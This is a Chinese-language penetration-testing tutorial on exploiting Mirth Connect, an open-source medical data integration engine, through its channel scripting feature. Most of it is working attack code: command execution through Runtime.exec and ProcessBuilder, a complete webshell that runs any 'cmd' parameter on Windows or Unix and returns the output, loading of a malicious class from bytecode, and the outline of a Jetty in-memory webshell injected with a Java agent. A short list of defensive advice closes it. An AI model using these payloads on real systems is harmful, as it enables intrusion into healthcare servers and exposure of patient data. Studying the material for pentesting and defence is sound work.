关于Mirth Connect的一些利用方式
字数 1270 2025-08-29 22:41:24
Mirth Connect 渗透测试与利用技术详解
1. Mirth Connect 简介
Mirth Connect 是一个开源的医疗信息集成系统,主要用于医疗行业的数据交换和转换。它具有以下特点:
- 支持多种医疗消息标准的转换、过滤、提取和路由
- 可管理从小型诊所到大型医疗信息交换系统的患者数据
- 提供直观的管理界面,便于开发和管理消息通道
2. 环境搭建
- 从 GitHub 下载 Mirth Connect:https://github.com/nextgenhealthcare/connect/releases
- 安装过程简单,会自动下载所需 JDK
- 安装完成后,双击运行 "Mirth Connect Administrator"
- 在管理界面点击"启动"按钮即可运行服务
3. 命令执行漏洞利用
3.1 基本命令执行
- 新建一个 HTTP 监听通道
- 在通道设置中找到"脚本执行"功能区域
- 通过调用 Java 的
Runtime.exec()方法可以实现命令执行:java.lang.Runtime.getRuntime().exec("calc.exe"); - 测试可成功弹出计算器,证明命令执行可行
3.2 命令回显技术
- 将
Response:设置为Postprocessor可以实现回显 - 使用
ProcessBuilder执行命令并获取输出:var var2 = new java.util.Scanner(new java.lang.ProcessBuilder("cmd.exe", "/c", "whoami").start().getInputStream()).useDelimiter("\\A").next(); return var2;
3.3 构建 Webshell
通过获取 HTTP 请求参数实现交互式命令执行:
try {
var var4 = sourceMap.get("parameters");
var var3 = var4.get("cmd");
var isWindows = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
var command = isWindows ? ["cmd.exe", "/c", var3] : ["/bin/sh", "-c", var3];
var var2 = new java.util.Scanner(new java.lang.ProcessBuilder(command).start().getInputStream()).useDelimiter("\\A").next();
} catch (e) {
return e;
}
return var2;
使用方法:访问 http://target:port?cmd=whoami 即可执行命令并回显结果
4. 内存马注入尝试
4.1 环境分析
- Mirth Connect 使用 Jetty 作为中间件
- 通过查看进程发现监听端口(10010、10086 和 18080)由同一进程启动
- 使用 JMX 工具生成 Jetty 内存马尝试注入
4.2 注入失败分析
-
手动测试 Class 加载:
var bytes = [0xca, 0xfe, 0xba, 0xbe, ...]; // 恶意class字节码 var clazz = new java.lang.ClassLoader().defineClass(null, bytes, 0, bytes.length); clazz.newInstance();- 可以成功加载并执行(如弹出计算器)
-
ClassLoader 层级问题:
- 各端口使用 URLClassLoader
- Jetty 的 WebAppClassLoader 位于 URLClassLoader 之下
- Java 父 ClassLoader 无法访问子 ClassLoader
- 导致无法直接注入内存马
4.3 成功注入方案
使用 Java Agent 技术通过 ins.getAllLoadedClasses() 获取所有 ClassLoader:
- 使用 vagent 工具注入
- 成功部署内存马
5. 防御建议
- 修改默认密码,使用强密码策略
- 限制管理界面访问权限
- 定期更新 Mirth Connect 到最新版本
- 监控可疑的脚本修改行为
- 对通道脚本功能进行权限控制
- 使用网络隔离,限制不必要的端口访问
6. 总结
Mirth Connect 由于提供了强大的脚本功能,在配置不当或使用弱密码的情况下,攻击者可以:
- 通过脚本功能实现命令执行
- 构建交互式 Webshell
- 在特定条件下注入内存马
渗透测试人员应重点检查:
- 默认/弱密码问题
- 不必要的通道脚本权限
- 未授权访问的管理界面